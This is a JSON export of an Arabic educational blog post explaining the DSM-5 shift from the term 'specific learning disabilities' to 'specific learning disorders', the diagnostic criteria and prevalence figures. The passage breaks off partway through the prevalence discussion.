{"id":70925,"date":"2022-01-28T14:52:10","date_gmt":"2022-01-28T14:52:10","guid":{"rendered":"https:\/\/www.worldofculture2020.com\/?p=70925"},"modified":"2022-01-28T14:52:10","modified_gmt":"2022-01-28T14:52:10","slug":"%d8%b5%d8%b9%d9%88%d8%a8%d8%a7%d8%aa-%d8%aa%d8%b9%d9%84%d9%85-%d8%a3%d9%85-%d8%a7%d8%b6%d8%b7%d8%b1%d8%a7%d8%a8%d8%a7%d8%aa-%d8%aa%d8%b9%d9%84%d9%85-%d8%a7%d9%84%d9%85%d8%ac%d8%a7%d9%84-%d8%a8%d9%8a","status":"publish","type":"post","link":"https:\/\/worldofculture2020.com\/?p=70925","title":{"rendered":"\u0635\u0639\u0648\u0628\u0627\u062a \u062a\u0639\u0644\u0645 \u0623\u0645 \u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u062a\u0639\u0644\u0645: \u0627\u0644\u0645\u062c\u0627\u0644 \u0628\u064a\u0646 \u0627\u0644\u062a\u0633\u0645\u064a\u0629 \u0627\u0644\u0645\u062a\u0639\u0627\u0631\u0641 \u0639\u0644\u064a\u0647\u0627 \u0648\u0627\u0644\u062a\u0633\u0645\u064a\u0629 \u0627\u0644\u062c\u062f\u064a\u062f\u0629:"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"color: #0000ff;\"><strong>\u0625\u0639\u062f\u0627\u062f: \u062f. \u0645\u062d\u0645\u062f \u0627\u0644\u0633\u0639\u064a\u062f \u0623\u0628\u0648 \u062d\u0644\u0627\u0648\u0629 | \u0623\u0633\u062a\u0627\u0630 \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0627\u0644\u0645\u0634\u0627\u0631\u0643\u060c \u0643\u0644\u064a\u0629 \u0627\u0644\u062a\u0631\u0628\u064a\u0629\u060c \u062c\u0627\u0645\u0639\u0629 \u062f\u0645\u0646\u0647\u0648\u0631<\/strong><\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"font-size: 10pt; color: #000000;\"><strong>\u0645\u0642\u062f\u0645\u0629: <\/strong><\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">\u064a\u0639\u062f \u0645\u0635\u0637\u0644\u062d &#8220;\u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0645\u062d\u062f\u062f\u0629 \u0623\u0648 \u0627\u0644\u0646\u0648\u0639\u064a\u0629 <a href=\"https:\/\/www.garfortheducation.com\/sld\/\"><strong>Specific Learning Disorders<\/strong><\/a>&#8221; \u0645\u0635\u0637\u0644\u062d\u064b\u0627 \u062c\u062f\u064a\u062f\u064b\u0627 \u0639\u0644\u0649 \u0648\u0627\u0639\u064a\u0629 \u0631\u062c\u0644 \u0627\u0644\u0634\u0627\u0631\u0639 \u0627\u0644\u0639\u0627\u062f\u064a\u060c \u0648\u0627\u0644\u0645\u0624\u0643\u062f \u0623\u0646 \u0647\u0630\u0627 \u0627\u0644\u0645\u0635\u0637\u0644\u062d \u0644\u0627 \u064a\u0639\u0628\u0631 \u0639\u0646 \u0627\u0636\u0637\u0631\u0627\u0628\u064b\u0627 \u062c\u062f\u064a\u062f\u064b\u0627\u060c \u0628\u0644 \u064a\u0645\u062b\u0644 \u0625\u0639\u0627\u062f\u0629 \u0635\u064a\u0627\u063a\u0629 \u0623\u0648 \u0639\u0644\u0627\u0645\u0629 \u062a\u062c\u0627\u0631\u064a\u0629 \u0645\u0639\u0627\u0635\u0631\u0629 \u0644\u0645\u0627 \u064a\u0643\u0646 \u064a\u0639\u0631\u0641 \u0628\u0627\u0633\u0645 &#8220;\u0635\u0639\u0648\u0628\u0627\u062a \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0645\u064f\u062d\u062f\u062f\u0629 \u0623\u0648 \u0627\u0644\u0646\u0648\u0639\u064a\u0629 \u0623\u0648 \u0627\u0644\u062e\u0627\u0635\u0629 <strong>Specific Learning Disabilities<\/strong>&#8220;.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">\u0648\u062a\u0639\u0643\u0633 \u0647\u0630\u0647 \u0627\u0644\u062a\u0633\u0645\u064a\u0629 \u0627\u0644\u062c\u062f\u064a\u062f\u0629 \u0645\u0627 \u064a\u0639\u0631\u0641 \u0628\u0627\u0644\u062a\u063a\u064a\u0631 \u0627\u0644\u062d\u0627\u062f\u062b \u0641\u064a \u0625\u062f\u0631\u0627\u0643 \u0627\u0644\u0645\u062a\u062e\u0635\u0635\u0648\u0646 \u0641\u064a \u0627\u0644\u0645\u062c\u0627\u0644 \u0627\u0644\u0637\u0628\u064a \u0648\u0627\u0644\u0637\u0628\u064a \u0646\u0641\u0633\u064a \u0644\u0645\u0627\u0647\u064a\u0629 \u0627\u0644\u0641\u0631\u0642 \u0628\u064a\u0646 \u0645\u0635\u0637\u0644\u062d &#8220;\u0627\u0644\u0639\u062c\u0632 <strong>Disability<\/strong>&#8220;\u060c \u0648\u0645\u0635\u0637\u0644\u062d &#8220;\u0627\u0644\u0627\u0636\u0637\u0631\u0627\u0628 <strong>Disorder<\/strong>&#8220;\u060c \u0648\u064a\u0634\u064a\u0631 \u062a\u0641\u0636\u064a\u0644 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0645\u0635\u0637\u0644\u062d &#8220;\u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0645\u064f\u062d\u062f\u062f\u0629&#8221; \u0641\u064a \u0627\u0644\u062f\u0644\u064a\u0644 \u0627\u0644\u062a\u0634\u062e\u064a\u0635\u064a \u0627\u0644\u0625\u062d\u0635\u0627\u0626\u064a \u0627\u0644\u062e\u0627\u0645\u0633 \u0644\u0644\u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0625\u0644\u0649 \u0648\u062c\u0648\u062f \u062a\u063a\u064a\u0631\u064a\u0646 \u0623\u0633\u0627\u0633\u064a\u064a\u0646 \u0641\u064a \u0627\u0644\u0645\u062d\u0643\u0627\u062a \u0627\u0644\u062a\u0634\u062e\u064a\u0635\u064a\u0629 \u0643\u0645\u0627 \u062a\u0633\u062a\u062e\u062f\u0645 \u0641\u064a \u0627\u0644\u062f\u0631\u0627\u0633\u0627\u062a \u0627\u0644\u0628\u062d\u062b\u064a\u0629 \u0627\u0644\u062d\u062f\u064a\u062b\u0629 \u0648\u0627\u0644\u0645\u0639\u0627\u0635\u0631\u0629 \u0641\u064a \u0645\u062c\u0627\u0644 \u0627\u0644\u062a\u0631\u0628\u064a\u0629 \u0627\u0644\u062e\u0627\u0635\u0629 \u0648\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u062a\u0631\u0628\u0648\u064a.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">\u0648\u0627\u0644\u0633\u0624\u0627\u0644 \u0627\u0644\u0645\u0637\u0631\u0648\u062d \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0633\u064a\u0627\u0642 \u0644\u0645\u0627\u0630\u0627 \u062a\u063a\u064a\u064a\u0631 \u0627\u0644\u0627\u0633\u0645 \u0645\u0646: \u0635\u0639\u0648\u0628\u0629 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0645\u062d\u062f\u062f\u0629\u060c \u0625\u0644\u0649 \u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0645\u064f\u062d\u062f\u062f\u061f<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">\u0641\u064a \u0633\u0646\u0629 2013 \u0627\u0633\u062a\u062e\u062f\u0645 \u0645\u0635\u0637\u0644\u062d &#8220;\u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0645\u064f\u062d\u062f\u062f&#8221; <strong>Specific Learning Disorder (SLD)<\/strong> \u0628\u062f\u0644\u0627\u064b \u0645\u0646 \u0645\u0635\u0637\u0644\u062d &#8220;\u0635\u0639\u0648\u0628\u0629 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0645\u064f\u062d\u062f\u062f\u0629 &#8220;\u0627\u0644\u0646\u0648\u0639\u064a\u0629 \u0623\u0648 \u0627\u0644\u062e\u0627\u0635\u0629 <strong>Specific Learning Disability<\/strong>&#8220;\u060c \u0648\u062a\u0645 \u0627\u0639\u062a\u0645\u0627\u062f \u0645\u0635\u0637\u0644\u062d &#8220;\u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0645\u062d\u062f\u062f&#8221; \u0641\u064a \u0645\u062a\u0646 \u0627\u0644\u062f\u0644\u064a\u0644 \u0627\u0644\u062a\u0634\u062e\u064a\u0635\u064a \u0627\u0644\u0625\u062d\u0635\u0627\u0626\u064a \u0627\u0644\u062e\u0627\u0645\u0633 \u0644\u0644\u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0627\u0644\u0646\u0641\u0633\u064a\u0629\u00a0 <strong>(DSM-5)<\/strong>.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">\u0648\u0625\u0630\u0627 \u0641\u0643\u0631\u062a \u0641\u064a \u0627\u0644\u062a\u0634\u062e\u064a\u0635\u0627\u062a \u0627\u0644\u0637\u0628\u064a\u0629 \u0627\u0644\u062a\u0627\u0644\u064a\u0629: \u0627\u0636\u0637\u0631\u0627\u0628 \u0637\u064a\u0641 \u0627\u0644\u0623\u0648\u062a\u064a\u0632\u0645 <strong>Autism Spectrum Disorder<\/strong>\u060c \u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u063a\u062f\u0629 \u0627\u0644\u062f\u0631\u0642\u064a\u0629 <strong>Thyroid Disorder<\/strong>\u060c \u0627\u0644\u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u0648\u062c\u062f\u0627\u0646\u064a \u062b\u0646\u0627\u0626\u064a \u0627\u0644\u0642\u0637\u0628 <strong>Bipolar Disorder<\/strong>\u060c \u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u0642\u0644\u0642 \u0627\u0644\u0645\u0639\u0645\u0645 <strong>Generalized Anxiety Disorder <\/strong>\u060c \u0623\u0648 \u0627\u0636\u0637\u0631\u0627\u0628 \u0642\u0635\u0648\u0631 \u0627\u0644\u0627\u0646\u062a\u0628\u0627\u0647\/\u0641\u0631\u0637 \u0627\u0644\u062d\u0631\u0643\u0629 <a href=\"https:\/\/www.garfortheducation.com\/what-is-attention-deficit-hyperactive-disorder\/\"><strong>Attention Deficit\/Hyperactive Disorder<\/strong><\/a> \u0633\u062a\u062c\u062f \u0623\u0646 \u0643\u0644 \u0647\u0630\u0647 \u0627\u0644\u0645\u0635\u0637\u0644\u062d\u0627\u062a \u0645\u0636\u0627\u0641 \u0625\u0644\u064a\u0647\u0627 \u0643\u0644\u0645\u0629 &#8220;\u0627\u0636\u0637\u0631\u0627\u0628 <strong>disorder <\/strong>&#8221; \u0628\u062f\u0644\u0627\u064b \u0645\u0646 \u0643\u0644\u0645\u0629 &#8220;\u0639\u062c\u0632 \u0623\u0648 \u0635\u0639\u0648\u0628\u0629 <strong>disability<\/strong> &#8220;\u061b \u0630\u0644\u0643 \u0644\u0623\u0646 \u0645\u0635\u0637\u0644\u062d &#8220;\u0627\u0644\u0627\u0636\u0637\u0631\u0627\u0628 <strong>disorder<\/strong>&#8221; \u0645\u0646 \u0627\u0644\u0645\u0646\u0638\u0648\u0631 \u0627\u0644\u0637\u0628\u064a \u064a\u0639\u0646\u064a &#8220;\u0627\u062e\u062a\u0644\u0627\u0644 \u0623\u0648 \u0634\u0630\u0648\u0630 \u0641\u064a \u0627\u0644\u0648\u0638\u064a\u0641\u0629 <strong>abnormality of function<\/strong>\u060c \u0628\u064a\u0646\u0645\u0627 \u062a\u0634\u064a\u0631 \u0643\u0644\u0645\u0629 &#8220;\u0627\u0644\u0635\u0639\u0648\u0628\u0629 \u0623\u0648 \u0627\u0644\u0639\u062c\u0632 <strong>disability <\/strong>&#8221; \u0645\u0646 \u0627\u0644\u0645\u0646\u0638\u0648\u0631 \u0627\u0644\u0637\u0628\u064a \u0625\u0644\u0649 \u0627\u062e\u062a\u0644\u0627\u0644 \u0623\u0648 \u0634\u0630\u0648\u0630 \u0641\u064a \u0627\u0644\u062a\u0643\u0648\u064a\u0646 \u0627\u0644\u0645\u062a\u0639\u0644\u0642 \u0628\u062c\u0633\u0645 \u0627\u0644\u0641\u0631\u062f.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">\u0648\u064a\u062a\u0636\u0645\u0646 \u0647\u0630\u0627 \u0627\u0644\u062a\u062d\u0648\u0644 \u062a\u063a\u064a\u0631\u0627\u062a \u0641\u064a \u0627\u0644\u0645\u062d\u0643\u0627\u062a \u0627\u0644\u062a\u0634\u062e\u064a\u0635\u064a\u0629\u060c \u0639\u0644\u0649 \u0627\u0644\u0623\u0642\u0644 \u0641\u064a \u0628\u0639\u062f\u064a\u0646 \u062c\u0648\u0647\u0631\u064a\u064a\u0646 \u0639\u0644\u0649 \u0627\u0644\u0646\u062d\u0648 \u0627\u0644\u062a\u0627\u0644\u064a:<\/span><\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"font-size: 10pt;\"><strong>\u0627\u0644\u062a\u063a\u064a\u0631 \u0627\u0644\u0623\u0648\u0644:<\/strong> \u0641\u064a \u0627\u0644\u062f\u0644\u064a\u0644 \u0627\u0644\u062a\u0634\u062e\u064a\u0635\u064a \u0627\u0644\u0625\u062d\u0635\u0627\u0626\u064a \u0627\u0644\u062e\u0627\u0645\u0633 \u0644\u0644\u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0627\u0644\u0646\u0641\u0633\u064a\u0629 <strong>DSM-5<\/strong>\u060c \u062a\u0645 \u0628\u0645\u0648\u062c\u0628\u0647 \u062a\u0636\u0645\u064a\u0646 \u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0648\u0639\u064a \u0627\u0644\u0645\u062d\u062f\u062f <strong>SLD<\/strong> \u0641\u064a \u062b\u0644\u0627\u062b\u0629 \u0645\u062c\u0627\u0644\u0627\u062a \u0623\u0643\u0627\u062f\u064a\u0645\u064a\u0629 \u0645\u062d\u062f\u062f\u0629 \u0647\u064a: \u0627\u0644\u0642\u0631\u0627\u0621\u0629\u060c \u0627\u0644\u0643\u062a\u0627\u0628\u0629\u060c \u0627\u0644\u062d\u0633\u0627\u0628\u060c \u0628\u0645\u0627 \u064a\u0639\u0646\u064a \u0623\u0646\u0647 \u0641\u064a \u0648\u0642\u062a \u062a\u0642\u064a\u064a\u0645 \u062d\u0627\u0644\u0627\u062a \u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0648\u0639\u064a \u0623\u0648\u00a0 \u0627\u0644\u0645\u062d\u062f\u062f \u064a\u062c\u0628 \u0623\u0646 \u064a\u0628\u062f\u064a \u0627\u0644\u0645\u062a\u0639\u0644\u0645 \u0627\u062e\u062a\u0644\u0627\u0644\u0627\u064b \u062c\u0648\u0647\u0631\u064a\u064b\u0627 \u0641\u064a \u0627\u062b\u0646\u062a\u064a\u0646 \u0639\u0644\u0649 \u0627\u0644\u0623\u0642\u0644 \u0645\u0646 \u0647\u0630\u0647 \u0627\u0644\u0645\u062c\u0627\u0644\u0627\u062a \u0627\u0644\u062b\u0644\u0627\u062b\u0629.<\/span><\/li>\n<li><span style=\"font-size: 10pt;\"><strong>\u0627\u0644\u062a\u063a\u064a\u0631 \u0627\u0644\u062b\u0627\u0646\u064a:<\/strong> \u0648\u0647\u0648 \u062a\u063a\u064a\u0631 \u062c\u0648\u0647\u0631\u064a \u0641\u064a \u0648\u0627\u0642\u0639 \u0627\u0644\u0623\u0645\u0631 \u0625\u0630 \u062a\u0645 \u0628\u0645\u0648\u062c\u0628\u0647 \u0625\u0644\u063a\u0627\u0621 \u0645\u0627 \u064a\u0639\u0631\u0641 \u0628\u0645\u062d\u0643 \u0627\u0644\u062a\u0628\u0627\u0639\u062f \u0628\u064a\u0646 &#8220;\u0645\u0639\u0627\u0645\u0644 \u0627\u0644\u0630\u0643\u0627\u0621 \u0640 \u0627\u0644\u062a\u062d\u0635\u064a\u0644 <strong>IQ-achievement discrepancy<\/strong>&#8220;\u060c \u0648\u0628\u062f\u0644\u0627\u064b \u0645\u0646 \u0630\u0644\u0643 \u064a\u0641\u062a\u0631\u0636 \u0623\u0646 \u064a\u0646\u0637\u0628\u0642 \u0639\u0644\u0649 \u0627\u0644\u062d\u0627\u0644\u0629 \u0643\u0644 \u0627\u0644\u0645\u062d\u0643\u0627\u062a \u0627\u0644\u0623\u0631\u0628\u0639\u0629 \u0627\u0644\u062a\u0627\u0644\u064a\u0629:<\/span><\/li>\n<li><span style=\"font-size: 10pt;\">\u0627\u0633\u062a\u062f\u0627\u0645\u0629 \u0627\u0644\u0623\u0639\u0631\u0627\u0636 \u0639\u0644\u0649 \u0627\u0644\u0623\u0642\u0644 \u0644\u0645\u062f\u0629 \u0633\u062a\u0629 \u0623\u0634\u0647\u0631 \u0631\u063a\u0645 \u062a\u0644\u0642\u064a \u0627\u0644\u0645\u062a\u0639\u0644\u0645 \u0645\u0633\u0627\u0639\u062f\u0629 \u0625\u0636\u0627\u0641\u064a\u0629 \u0623\u0648 \u062a\u062f\u062e\u0644\u0627\u062a \u062a\u0633\u062a\u0647\u062f\u0641 \u0645\u062c\u0627\u0644 \u0627\u0644\u0642\u0635\u0648\u0631. \u0628\u0645\u0627 \u064a\u0639\u0646\u064a \u0623\u0646 \u0627\u0644\u0645\u062a\u0639\u0644\u0645 \u0644\u0627 \u064a\u0639\u0627\u0646\u064a \u0645\u0646 \u0627\u0644\u0623\u0639\u0631\u0627\u0636 \u0628\u0633\u0628\u0628 \u0623\u0646\u0647 \u0644\u0627 \u064a\u062a\u0644\u0642\u0649 \u0627\u0644\u062a\u0639\u0644\u064a\u0645 \u0627\u0644\u0645\u0646\u0627\u0633\u0628 \u0644\u0645\u062c\u0627\u0644 \u0627\u0644\u0635\u0639\u0648\u0628\u0629.<\/span><\/li>\n<li><span style=\"font-size: 10pt;\">\u0623\u0646 \u064a\u0643\u0648\u0646 \u0623\u062f\u0627\u0621 \u0627\u0644\u0645\u062a\u0639\u0644\u0645 \u0623\u0642\u0644 \u0645\u0645\u0627 \u0647\u0648 \u0645\u062a\u0648\u0642\u0639 \u0628\u0627\u0644\u0646\u0633\u0628\u0629 \u0644\u0639\u0645\u0631\u0647 \u0628\u0646\u0627\u0621 \u0639\u0644\u0649 \u0627\u062e\u062a\u0628\u0627\u0631 \u0645\u0642\u0646\u0646 \u0644\u0644\u062a\u062d\u0635\u064a\u0644 \u0648\u0643\u0630\u0644\u0643 \u0639\u0628\u0631 \u0627\u0644\u062a\u0642\u064a\u064a\u0645 \u0627\u0644\u0625\u0643\u0644\u064a\u0646\u064a\u0643\u064a\u060c \u0648\u0628\u0645\u0627 \u064a\u0639\u0646\u064a \u0623\u064a\u0636\u064b\u0627 \u0623\u0646\u0647 \u0648\u0631\u063a\u0645 \u0645\u0627 \u0642\u062f \u0644\u0627 \u064a\u0648\u062c\u062f \u0645\u0646 \u062a\u0628\u0627\u0639\u062f \u0628\u064a\u0646 \u0645\u0639\u0627\u0645\u0644 \u0627\u0644\u0630\u0643\u0627\u0621 \u0648\u0627\u0644\u062a\u062d\u0635\u064a\u0644 \u0627\u0644\u062f\u0631\u0627\u0633\u064a\u060c \u064a\u0638\u0644 \u0623\u062f\u0627\u0621 \u0645\u0646 \u064a\u0633\u0642\u0637 \u0639\u0644\u064a\u0647 \u0648\u0633\u0645 &#8220;\u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0648\u0639\u064a&#8221; \u0623\u0642\u0644 \u0645\u0645\u0627 \u0647\u0648 \u0645\u062a\u0648\u0642\u0639 \u0645\u0646\u0647 \u0648\u0641\u0642\u064b\u0627 \u0644\u0645\u0631\u062d\u0644\u062a\u0647 \u0627\u0644\u0639\u0645\u0631\u064a\u0629.<\/span><\/li>\n<li><span style=\"font-size: 10pt;\">\u0623\u0646 \u062a\u0628\u062f\u0623 \u0645\u0624\u0634\u0631\u0627\u062a \u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0648\u0639\u064a \u0623\u062b\u0646\u0627\u0621 \u0633\u0646\u0648\u0627\u062a \u0627\u0644\u0645\u062f\u0631\u0633\u0629\u060c \u0648\u0625\u0630\u0627 \u062a\u0628\u062f\u062a \u0623\u0639\u0631\u0627\u0636 \u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0648\u0639\u064a \u0639\u0644\u0649 \u0634\u062e\u0635 \u062e\u0644\u0627\u0644 \u0645\u0631\u062d\u0644\u0629 \u0627\u0644\u0645\u0631\u0627\u0647\u0642\u0629 \u0623\u0648 \u0627\u0644\u0631\u0634\u062f \u0641\u0625\u0646 \u0630\u0644\u0643 \u0644\u0627 \u064a\u0639\u0646\u064a \u062a\u0634\u062e\u064a\u0635\u0647 \u0648\u0648\u0636\u0639\u0647 \u062a\u062d\u062a \u0641\u0626\u0629 \u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0648\u0639\u064a \u0643\u0631\u0627\u0634\u062f\u060c \u0628\u0644 \u0643\u0644 \u0645\u0627 \u064a\u0639\u0646\u064a\u0647 \u0623\u0646\u0647 \u0644\u0645 \u064a\u062a\u0645 \u062a\u0634\u062e\u064a\u0635\u0647 \u0623\u062b\u0646\u0627\u0621 \u0633\u0646\u0648\u0627\u062a \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0631\u0633\u0645\u064a \u0623\u0648 \u0633\u0646\u0648\u0627\u062a \u0627\u0644\u062f\u0631\u0627\u0633\u0629 \u0641\u064a \u0627\u0644\u0645\u0631\u062d\u0644\u0629 \u0627\u0644\u0623\u0648\u0644\u0649.<\/span><\/li>\n<li><span style=\"font-size: 10pt;\">\u064a\u062c\u0628 \u0627\u0633\u062a\u0628\u0639\u0627\u062f \u062d\u0627\u0644\u0627\u062a \u0627\u0644\u0642\u0635\u0648\u0631 \u0641\u064a \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0627\u062a\u062c\u0629 \u0639\u0646 \u0625\u0639\u0627\u0642\u0627\u062a \u0623\u0648 \u0638\u0631\u0648\u0641 \u0623\u062e\u0631\u0649 \u0645\u0646 \u0641\u0626\u0629 \u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0648\u0639\u064a.<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\">\u0648\u0639\u0644\u0649 \u0630\u0644\u0643 \u0641\u0625\u0646 \u062a\u063a\u064a\u064a\u0631 \u0643\u0644\u0645\u0629 &#8220;\u0639\u062c\u0632 \u0623\u0648 \u0635\u0639\u0648\u0628\u0629&#8221;\u060c \u0625\u0644\u0649 \u0643\u0644\u0645\u0629 &#8220;\u0627\u0636\u0637\u0631\u0627\u0628&#8221; \u0641\u064a\u0645\u0627 \u064a\u062a\u0639\u0644\u0642 \u0628\u0645\u0635\u0637\u0644\u062d \u0635\u0639\u0648\u0628\u0629 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0645\u062d\u062f\u062f\u0629 \u0623\u0648 \u0627\u0644\u0646\u0648\u0639\u064a\u0629 <strong>SLD<\/strong> \u00a0\u064a\u0633\u0645\u062d \u0628\u0623\u0646 \u064a\u062a\u0633\u0642 \u0627\u0633\u0645\u0647\u0627 \u0627\u0644\u062c\u062f\u064a\u062f \u0645\u0639 \u0627\u0644\u0645\u0635\u0637\u0644\u062d\u0627\u062a \u0627\u0644\u0641\u0646\u064a\u0629 \u0644\u0644\u062d\u0627\u0644\u0627\u062a \u0627\u0644\u0637\u0628\u064a\u0629\u061b \u0641\u0636\u0644\u0627\u064b \u0639\u0646 \u0643\u0648\u0646\u0647 \u064a\u0644\u0642\u064a \u0627\u0644\u0636\u0648\u0621 \u0639\u0644\u0649 &#8220;\u0627\u0644\u0637\u0628\u064a\u0639\u0629 \u0627\u0644\u0646\u0645\u0627\u0626\u064a\u0629 \u0627\u0644\u0639\u0635\u0628\u064a\u0629&#8221; \u0644\u0635\u0639\u0648\u0628\u0629 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0648\u0639\u064a\u0629 \u0628\u0645\u0627 \u064a\u0639\u0646\u064a \u0623\u0646 \u062f\u0645\u0627\u063a \u0627\u0644\u0641\u0631\u062f \u0627\u0644\u0630\u064a \u0644\u062f\u064a\u0647 \u0635\u0639\u0648\u0628\u0629 \u062a\u0639\u0644\u0645 \u064a\u0641\u0633\u0631 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0628\u0637\u0631\u064a\u0642\u0629 \u0645\u062e\u062a\u0644\u0641\u0629 \u0639\u0646 \u062f\u0645\u0627\u063a \u0623\u0642\u0631\u0627\u0646\u0647 \u0627\u0644\u0639\u0627\u062f\u064a\u064a\u0646.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt; color: #000000;\"><strong>\u0623\u0648\u0644\u0627\u064b- \u0645\u0627 \u0627\u0644\u0645\u0642\u0635\u0648\u062f \u0628\u0627\u0636\u0637\u0631\u0627\u0628 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0648\u0639\u064a &#8220;\u0627\u0644\u0645\u062d\u062f\u062f&#8221;\u060c \u0623\u0648 \u0627\u0644\u062e\u0627\u0635\u061f<\/strong> <strong>What Is Specific Learning Disorder\u061f<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><strong>\u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a<\/strong> \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0648\u0639\u064a\u0629 \u0623\u0648 \u0627\u0644\u062e\u0627\u0635\u0629 \u0648\u0627\u0644\u0645\u062d\u062f\u062f\u0629 \u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0639\u0635\u0628\u064a\u0629 \u0646\u0645\u0627\u0626\u064a\u0629 \u0639\u0627\u062f\u0629 \u064a\u062a\u0645 \u062a\u0639\u0631\u0641\u0647\u0627 \u0648\u062a\u0634\u062e\u064a\u0635\u0647\u0627 \u0644\u062f\u0649 \u0623\u0637\u0641\u0627\u0644 \u0645\u0631\u062d\u0644\u0629 \u0627\u0644\u0645\u062f\u0631\u0633\u0629\u060c \u0631\u063a\u0645 \u0623\u0646\u0647 \u0642\u062f \u064a\u062a\u0623\u062e\u0631 \u062a\u0634\u062e\u064a\u0635\u0647\u0627 \u0644\u062f\u0649 \u0627\u0644\u0628\u0639\u0636 \u0631\u0628\u0645\u0627 \u0625\u0644\u0649 \u0633\u0646\u0648\u0627\u062a \u0627\u0644\u0631\u0634\u062f. \u0648\u062a\u062a\u0635\u0641 \u0647\u0630\u0647 \u0627\u0644\u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0628\u0645\u0639\u0627\u0646\u0627\u0629 \u0627\u0644\u0645\u0635\u0627\u0628 \u0628\u0647\u0627 \u0645\u0646 \u0635\u0639\u0648\u0628\u0627\u062a \u0623\u0648 \u0625\u0639\u0627\u0642\u0629 \u0645\u0633\u062a\u0645\u0631\u0629 \u0641\u064a \u0648\u0627\u062d\u062f\u0629 \u0623\u0648 \u0623\u0643\u062b\u0631 \u0645\u0646 \u0627\u0644\u0645\u062c\u0627\u0644\u0627\u062a \u0627\u0644\u0623\u0643\u0627\u062f\u064a\u0645\u064a\u0629 \u0627\u0644\u062a\u0627\u0644\u064a\u0629: \u0627\u0644\u0642\u0631\u0627\u0621\u0629\u060c \u0627\u0644\u062a\u0639\u0628\u064a\u0631 \u0627\u0644\u0643\u062a\u0627\u0628\u064a\u060c \u0648\/ \u0623\u0648 \u0627\u0644\u062d\u0633\u0627\u0628.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 10pt;\"><strong>\u0648\u062a\u0642\u062f\u0631<\/strong> \u0646\u0633\u0628\u0629 \u0634\u064a\u0648\u0639 \u0627\u0636\u0637\u0631\u0627\u0628\u0627\u062a \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0648\u0639\u064a\u0629 \u0623\u0648 \u0627\u0644\u062e\u0627\u0635\u0629 \u0648\u0627\u0644\u0645\u062d\u062f\u062f\u0629 \u0644\u062f\u0649 \u0623\u0637\u0641\u0627\u0644 \u0633\u0646 \u0627\u0644\u0645\u062f\u0631\u0633\u0629 \u0645\u0627 \u0628\u064a\u0646 5% \u0625\u0644\u0649 15%\u060c \u062a\u0645\u062b\u0644 \u0627\u0636\u0637\u0631\u0627\u0628 \u0623\u0648 \u0635\u0639\u0648\u0628\u0629 \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u062d\u0648\u0627\u0644\u064a 80% 